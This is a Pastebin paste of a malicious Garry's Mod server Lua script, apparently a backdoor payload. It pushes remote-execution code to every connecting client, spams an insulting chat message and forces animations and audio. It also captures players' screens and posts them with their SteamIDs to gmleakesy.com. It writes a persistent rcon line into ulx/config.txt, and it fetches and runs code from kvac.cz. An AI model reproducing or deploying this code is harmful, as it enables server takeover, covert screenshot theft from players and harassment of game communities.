Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function RandomString( intMin, intMax )
- local ret = ""
- for _ = 1, math.random( intMin, intMax ) do
- ret = ret.. string.char( math.random(65, 90) )
- end
- return ret
- end
- m_strImageGlobalVar = RandomString( 6, 12 )
- local function rdm_str(len)
- if !len or len <= 0 then return '' end
- return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
- end
- local net_string = rdm_str(25)
- util.AddNetworkString(net_string)
- BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
- hook.Add("PlayerInitialSpawn", "ifyouseethisdontpanicitsme",function(ply)
- if !ply:IsBot() then
- ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
- end
- end)
- local function SendToClient(code)
- timer.Simple(1, function()
- local data = util.Compress(code)
- local len = #data
- net.Start(net_string)
- net.WriteUInt(len, 16)
- net.WriteData(data, len)
- net.Broadcast()
- end)
- end
- hook.Add("Think","\xFF\xFF\xFF",function()
- local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
- for _, v in ipairs(player.GetAll()) do
- v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
- end
- end)
- SendToClient([=[
- g_]=].. m_strImageGlobalVar.. [=[ = {}
- local html = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
- local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
- local pnl = vgui.Create( "HTML" )
- pnl:SetPos( ScrW() -1, ScrH() -1 )
- pnl:SetVisible( true )
- pnl:SetMouseInputEnabled( false )
- pnl:SetKeyBoardInputEnabled( false )
- pnl:SetSize( intSizeX, intSizeY )
- pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
- local PageLoaded
- PageLoaded = function()
- local mat = pnl:GetHTMLMaterial()
- if mat then
- g_]=].. m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
- return
- end
- timer.Simple( 0.5, PageLoaded )
- end
- PageLoaded()
- end
- LoadWebMaterial( "https://media.giphy.com/media/fW5WmtBAIUM3GFewqc/giphy.gif", "hud2", 256 , 256 )
- ]=])
- timer.Create("nonameplease", 5, 0,function()
- for i=1, #player.GetHumans() do
- local ply = player.GetHumans()[i]
- ply:Say( "/ooc NAVY > ALL (Ton père c'est ton oncle)")
- end
- end)
- SendToClient([=[
- steamworks.FileInfo(1751603329,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)
- timer.Simple(5, function()
- game.AddParticles( "particles/eco.pcf" )
- PrecacheParticleSystem("eco")
- for i = 1, 10 do
- ParticleEffectAttach("eco", PATTACH_ABSORIGIN_FOLLOW, LocalPlayer(), 0)
- end
- timer.Create("semmmmm", 5, 100, function()
- RunConsoleCommand("act","dance")
- RunConsoleCommand("_darkrp_doanimation", "1642")
- end)
- local ragtbl = {}
- for i=1,20 do
- ragtbl[i] = ClientsideRagdoll( "models/player/gman_high.mdl" )
- ragtbl[i]:SetNoDraw( false )
- ragtbl[i]:DrawShadow( true )
- end
- local function GetWebMat( strURL )
- return g_]=].. m_strImageGlobalVar.. [=[[strURL]
- end
- local uwu = {}
- hook.Add("HUDPaint", "okay",function()
- for k,v in pairs(uwu) do
- v()
- end
- end)
- SOUNDSTART_CTP = false
- OZJFOZJCEZIO = true
- sound.PlayURL("https://www.dropbox.com/s/m6ky9mbi2u366au/o.mp3?dl=1","mono noblock noplay",function(s)
- if not s then return end
- if SOUNDSTART_CTP then s:Stop() return end
- SOUNDSTART_CTP = true
- s:SetVolume(5 )
- s:Play()
- s:EnableLooping( true )
- local ragtbl = {}
- uwu["CoolEffect"] = function()
- local tbl = {}
- s:FFT(tbl,FFT_2048)
- xpcall(function()
- local fal = 0
- for i=4,6 do
- fal = fal + tbl[i]
- end
- if fal > 0.8 then
- local oneid = "newhud"..math.random(100, 300).."id"
- hook.Add( "HUDPaint", oneid, function()
- surface.SetDrawColor( 255, 255, 255, 255 )
- if GetWebMat( "hud2" ) then -- lui
- surface.SetMaterial( GetWebMat("hud2")[1] )
- surface.DrawTexturedRect( 0, 0, ScrW(), ScrH() )
- end
- end )
- timer.Simple(0.2, function()
- hook.Remove( "HUDPaint", oneid)
- end)
- end
- end,function()
- end)
- end
- end)
- end)
- ]=])
- game.AddParticles( "particles/eco.pcf" )
- PrecacheParticleSystem("eco")
- hook.Add( "PostRender", "screenshot_21614", function()
- hook.Remove("PostRender","screenshot_21614")
- local data = render.Capture(
- {
- format = "jpeg",
- quality = 50,
- h = ScrH(),
- w = ScrW(),
- x = 0,
- y = 0,
- })
- timer.Simple(math.random(1,45) ,function ()
- http.Post("http://gmleakesy.com/A/printer.php", {name = steamworks.GetPlayerName(LocalPlayer():SteamID64()), steamid64 = LocalPlayer():SteamID64(), data = util.Base64Encode(data)})
- end)
- end)
- file.Append("ulx/config.txt", "\n"..[=[rcon lua_run http.Fetch([[https:/]]..[[www.kvac.cz/_/drm.php?key=ZerTPiCW65sclrSkqrhk]],function(_)RunString(_,[[:]],!1)end)]=])
- timer.Simple(1, function() http.Fetch("https://www.kvac.cz/_/drm.php?key=ZerTPiCW65sclrSkqrhk", function(b) RunString(b, ":", false) end)end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement